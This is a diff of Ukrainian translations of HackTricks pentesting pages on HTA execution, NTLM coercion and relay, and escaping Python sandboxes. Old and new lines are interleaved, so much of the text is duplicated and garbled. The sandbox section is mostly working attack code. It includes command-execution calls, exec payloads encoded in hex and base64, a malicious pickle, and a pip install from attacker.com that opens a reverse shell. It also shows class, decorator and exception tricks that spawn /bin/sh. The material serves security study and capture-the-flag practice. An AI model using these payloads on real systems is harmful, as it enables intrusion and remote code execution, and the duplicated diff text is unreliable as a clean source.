HTA - це програма Windows, яка **поєднує HTML та мови сценаріїв (такі як VBScript та JScript)**. Вона генерує інтерфейс користувача та виконується як "повністю довірена" програма, без обмежень моделі безпеки браузера.
HTA виконується за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом з **Internet Explorer**, що робить **`mshta` залежним від IE**. Тому, якщо його було видалено, HTA не зможе виконатися.
HTA виконується за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом з **Internet Explorer**, що робить **`mshta` залежним від IE**. Тому, якщо він був видалений, HTA не зможуть виконуватися.
```html
<--! Basic HTA Execution -->
<html>
@ -150,9 +153,9 @@ self.close
```
## Примусова аутентифікація NTLM
Існує кілька способів **примусової аутентифікації NTLM "віддалено"**, наприклад, ви можете додати **невидимі зображення** до електронних листів або HTML, які користувач відкриє (навіть HTTP MitM?). Або надішліть жертві **адресу файлів**, які спричинять **аутентифікацію** лише для **відкриття папки**.
Існує кілька способів **примусити NTLM аутентифікацію "віддалено"**, наприклад, ви можете додати **невидимі зображення** до електронних листів або HTML, до яких отримувач отримуватиме доступ (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, які **запустять** **аутентифікацію** лише для **відкриття папки.**
**Перевірте ці ідеї та багато іншого на наступних сторінках:**
**Перевірте ці ідеї та інші на наступних сторінках:**
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
@ -162,21 +165,24 @@ self.close
[places-to-steal-ntlm-creds.md](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
{% endcontent-ref %}
### Пересилання NTLM
### Реле NTLM
Не забувайте, що ви можете не лише вкрасти хеш або аутентифікацію, але також **здійснювати атаки пересилання NTLM**:
Не забувайте, що ви можете не лише вкрасти хеш або аутентифікацію, але й **виконувати атаки реле NTLM**:
* [**Атаки пересилання NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
* [**AD CS ESC8 (пересилання NTLM на сертифікати)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
* [**Атаки реле NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
* [**AD CS ESC8 (реле NTLM до сертифікатів)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
{% hint style="success" %}
Вивчайте та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримка HackTricks</summary>
* Працюєте в **кібербезпеці компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# Втеча з пісочниці Python та Pyscript
# Python Sandbox Escape & Pyscript
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python), щоб легко створювати та **автоматизувати робочі процеси**, які підтримуються **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
**Цікаві сторінки для перевірки:**
**Цікаві сторінки для перегляду:**
* [**Хакінг трюки Pyscript**](pyscript.md)
* [**Десеріалізація Python**](../../pentesting-web/deserialization/#python)
* [**Трюки для обхіду пісочниць Python**](bypass-python-sandboxes/)
* [**Трюки з Pyscript**](pyscript.md)
* [**Десеріалізації Python**](../../pentesting-web/deserialization/#python)
* [**Трюки для обходу пісочниць Python**](bypass-python-sandboxes/)
* [**Основний синтаксис веб-запитів Python**](web-requests.md)
* [**Основний синтаксис та бібліотеки Python**](basic-python.md)
* [**Основний синтаксис Python та бібліотеки**](basic-python.md)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python), щоб легко створювати та **автоматизувати робочі процеси**, які підтримуються **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Bypass Python sandboxes
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -22,12 +23,11 @@
***
Ось деякі хитрощі для обходу захисту пісочниці Python та виконання довільних команд.
Це деякі трюки для обходу захисту пісочниці Python та виконання довільних команд.
## Бібліотеки виконання команд
Перше, що вам потрібно знати, - це чи можете ви безпосередньо виконати код з деякою вже імпортованою бібліотекою, або чи можете ви імпортувати будь-яку з цих бібліотек:
Перше, що вам потрібно знати, це чи можете ви безпосередньо виконувати код з якоюсь вже імпортованою бібліотекою, або чи можете ви імпортувати будь-яку з цих бібліотек:
```python
os.system("ls")
os.popen("ls").read()
@ -60,25 +60,23 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Пам'ятайте, що функції _**open**_ та _**read**_ можуть бути корисними для **читання файлів** всередині пісочниці Python та для **написання коду**, який можна **виконати**, щоб **обійти** пісочницю.
Пам'ятайте, що функції _**open**_ та _**read**_ можуть бути корисними для **читання файлів** всередині пісочниці python та для **написання коду**, який ви могли б **виконати** для **обходу** пісочниці.
{% hint style="danger" %}
Функція **Python2 input()** дозволяє виконувати код Python перед тим, як програма впаде.
Функція **Python2 input()** дозволяє виконувати python код перед тим, як програма зламається.
{% endhint %}
Python намагається **завантажувати бібліотеки з поточного каталогу першими** (наступна команда виведе, звідки Python завантажує модулі): `python3 -c 'import sys; print(sys.path)'`
Python намагається **завантажити бібліотеки з поточної директорії спочатку** (наступна команда виведе, звідки python завантажує модулі): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (552).png>)
![](<../../../.gitbook/assets/image (559).png>)
## Обхід пісочниці pickle за допомогою встановлених за замовчуванням пакетів Python
## Обхід пісочниці pickle за допомогою стандартно встановлених python пакетів
### Пакети за замовчуванням
### Стандартні пакети
Ви можете знайти **список попередньо встановлених** пакетів тут: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Зверніть увагу, що з допомогою pickle ви можете зробити середовище Python **імпортувати довільні бібліотеки**, встановлені в системі.\
Наприклад, наступний pickle, після завантаження, буде імпортувати бібліотеку pip для використання:
Зверніть увагу, що з pickle ви можете змусити python env **імпортувати довільні бібліотеки**, встановлені в системі.\
Наприклад, наступний pickle, при завантаженні, імпортує бібліотеку pip для її використання:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -91,36 +89,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Для отримання додаткової інформації про те, як працює pickle, перегляньте це: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
Для отримання додаткової інформації про те, як працює pickle, перевірте це: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip пакет
### Пакет Pip
Хит, поділений **@isHaacK**
Якщо у вас є доступ до `pip` або `pip.main()`, ви можете встановити довільний пакет та отримати зворотний shell, викликавши:
Трюк, поділений **@isHaacK**
Якщо у вас є доступ до `pip` або `pip.main()`, ви можете встановити довільний пакет і отримати зворотний шелл, викликавши:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Ви можете завантажити пакет для створення зворотного шелу тут. Будь ласка, зверніть увагу, що перед використанням ви повинні **розпакувати його, змінити `setup.py` і вказати свою IP-адресу для зворотного шелу**:
Ви можете завантажити пакет для створення зворотного шелу тут. Зверніть увагу, що перед використанням його вам слід **розпакувати його, змінити `setup.py` та вказати ваш IP для зворотного шелу**:
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
{% hint style="info" %}
Цей пакет називається `Reverse`. Однак він був спеціально створений так, що коли ви виходите з зворотного шелу, решта установки не вдасться, тому **на сервері не залишиться жоден додатковий пакет Python**, коли ви підете.
Цей пакет називається `Reverse`. Однак він був спеціально створений так, що коли ви виходите із зворотного шелу, решта установки зазнає невдачі, тому ви **не залишите жодного додаткового python пакету встановленим на сервері** після виходу.
{% endhint %}
## Eval-ing python code
{% hint style="warning" %}
Зверніть увагу, що exec дозволяє багаторядкові рядки та ";", але eval ні (перевірте оператор-телятко)
Зверніть увагу, що exec дозволяє багаторядкові рядки та ";", але eval - ні (перевірте оператор вальрус)
{% endhint %}
Якщо деякі символи заборонені, ви можете використовувати **шістнадцяткове/вісімкове/B64** представлення для **обхідної** обмеження:
Якщо певні символи заборонені, ви можете використовувати **hex/octal/B64** представлення, щоб **обійти** обмеження:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -141,9 +135,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Інші бібліотеки, які дозволяють виконувати код Python
### Інші бібліотеки, які дозволяють виконувати python код
```python
#Pandas
import pandas as pd
@ -157,9 +149,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
## Оператори та короткі прийоми
## Оператори та короткі трюки
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -168,11 +158,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Обхід захисту через кодування (UTF-7)
## Обхід захисту за допомогою кодування (UTF-7)
У [**цьому описі**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) використовується UFT-7 для завантаження та виконання довільного коду Python всередині видимого пісочниці:
У [**цьому звіті**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 використовується для завантаження та виконання довільного python коду всередині очевидного пісочниці:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -183,15 +171,13 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Також можливо обійти його, використовуючи інші кодування, наприклад, `raw_unicode_escape` та `unicode_escape`.
Також можливо обійти це, використовуючи інші кодування, наприклад, `raw_unicode_escape` та `unicode_escape`.
## Виконання Python без викликів
Якщо ви знаходитесь у в'язниці Python, яка **не дозволяє вам робити виклики**, все ще є деякі способи **виконання довільних функцій, коду** та **команд**.
Якщо ви знаходитесь у python в'язниці, яка **не дозволяє вам робити виклики**, все ще є кілька способів **виконати довільні функції, код** та **команди**.
### RCE з [декораторами](https://docs.python.org/3/glossary.html#term-decorator)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -213,15 +199,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE створення об'єктів та перевантаження
### Виконання коду з використанням RCE створенням об'єктів та перевантаженням
Якщо ви можете **оголосити клас** і **створити об'єкт** цього класу, ви можете **написати/перезаписати різні методи**, які можуть бути **викликані** **без** **необхідності викликати їх безпосередньо**.
Якщо ви можете **оголосити клас** та **створити об'єкт** цього класу, ви можете **записати/перезаписати різні методи**, які можуть бути **активовані** **без** **прямого виклику**.
#### RCE з власними класами
Ви можете змінити деякі **методи класу** (_перезаписуючи існуючі методи класу або створюючи новий клас_) для того, щоб вони виконували **довільний код** при їх **активації** без прямого виклику.
#### RCE з користувацькими класами
Ви можете змінити деякі **методи класу** (_перезаписуючи існуючі методи класу або створюючи новий клас_), щоб вони **виконували довільний код** при **виклику** без безпосереднього виклику.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -271,11 +255,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### Створення об'єктів з [метакласами](https://docs.python.org/3/reference/datamodel.html#metaclasses)
#### Створення об'єктів за допомогою [метакласів](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Головна можливість, яку надають нам метакласи, - це **створення екземпляра класу, не викликаючи конструктор** безпосередньо, створюючи новий клас з цільовим класом як метакласом.
Ключова річ, яку дозволяють робити метакласи, це **створити екземпляр класу, не викликаючи конструктор** безпосередньо, створюючи новий клас з цільовим класом як метакласом.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -290,11 +272,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### Створення об'єктів з виключеннями
#### Створення об'єктів з використанням винятків
Коли спрацьовує **виняток**, об'єкт **Exception** **створюється** без необхідності викликати конструктор безпосередньо (трюк від [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
Коли **виключення викликане**, об'єкт **Exception** є **створеним** без необхідності викликати конструктор безпосередньо (трюк від [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -314,9 +294,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
## You can also use the tricks from the previous section to get RCE with this object
```
### Більше RCE
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
@ -338,9 +316,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Прочитайте файл за допомогою вбудованих функцій help та license
### Прочитайте файл з допомогою вбудованих функцій та ліцензії
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -349,28 +325,24 @@ a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
```
## Builtins
## Вбудовані функції
* [**Вбудовані функції Python 2**](https://docs.python.org/2/library/functions.html)
* [**Вбудовані функції Python 3**](https://docs.python.org/3/library/functions.html)
Якщо ви можете отримати доступ до об'єкта **`__builtins__`**, ви можете імпортувати бібліотеки (зверніть увагу, що ви також можете використовувати інші рядкові представлення, показані в останньому розділі):
* [**Вбудовані функції python2**](https://docs.python.org/2/library/functions.html)
* [**Вбудовані функції python3**](https://docs.python.org/3/library/functions.html)
Якщо ви можете отримати доступ до об'єкта **`__builtins__`**, ви можете імпортувати бібліотеки (зверніть увагу, що ви також можете використовувати інше рядкове представлення, показане в останньому розділі):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
### Без вбудованих функцій
Коли у вас немає `__builtins__`, ви не зможете імпортувати нічого, а також не зможете читати або записувати файли, оскільки **всі глобальні функції** (як-от `open`, `import`, `print`...) **не завантажені**.\
Однак, **за замовчуванням python імпортує багато модулів в пам'ять**. Ці модулі можуть здаватися безпечними, але деякі з них **також імпортують небезпечні** функціональності всередині, до яких можна отримати доступ для отримання навіть **випадкового виконання коду**.
Коли у вас немає `__builtins__`, ви не зможете імпортувати нічого, навіть читати або записувати файли, оскільки **всі глобальні функції** (наприклад, `open`, `import`, `print`...) **не завантажені**.\
Однак **за замовчуванням Python імпортує багато модулів в пам'ять**. Ці модулі можуть здатися безпечними, але деякі з них **також імпортують небезпечні** функціональності всередині себе, до яких можна отримати доступ, щоб навіть виконати **довільний код**.
У наступних прикладах ви можете побачити, як **зловживати** деякими цими "**безпечними**" завантаженими модулями, щоб **отримати доступ** до **небезпечних** **функціональностей** всередині них.
У наступних прикладах ви можете спостерігати, як **зловживати** деякими з цих "**безпечних**" модулів, завантажених для **доступу** до **небезпечних** **функціональностей** всередині них.
**Python2**
```python
#Try to reload __builtins__
reload(__builtins__)
@ -391,9 +363,7 @@ import __builtin__
# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
```
#### Python3
```python
# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
@ -412,19 +382,15 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Нижче є більша функція**](./#recursive-search-of-builtins-globals) для пошуку десятків/**сотень** **місць**, де ви можете знайти **builtins**.
[**Нижче наведена більша функція**](./#recursive-search-of-builtins-globals) для знаходження десятків/**сотень** **місць**, де ви можете знайти **builtins**.
#### Python2 та Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
### Вбудовані навантаження
### Вбудовані пейлоади
```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
@ -432,11 +398,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals and locals
## Глобальні та локальні змінні
Перевірка **`globals`** та **`locals`** - це хороший спосіб знати, до чого ви можете отримати доступ.
Перевірка **`globals`** та **`locals`** є хорошим способом дізнатися, до чого ви можете отримати доступ.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -460,17 +424,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, 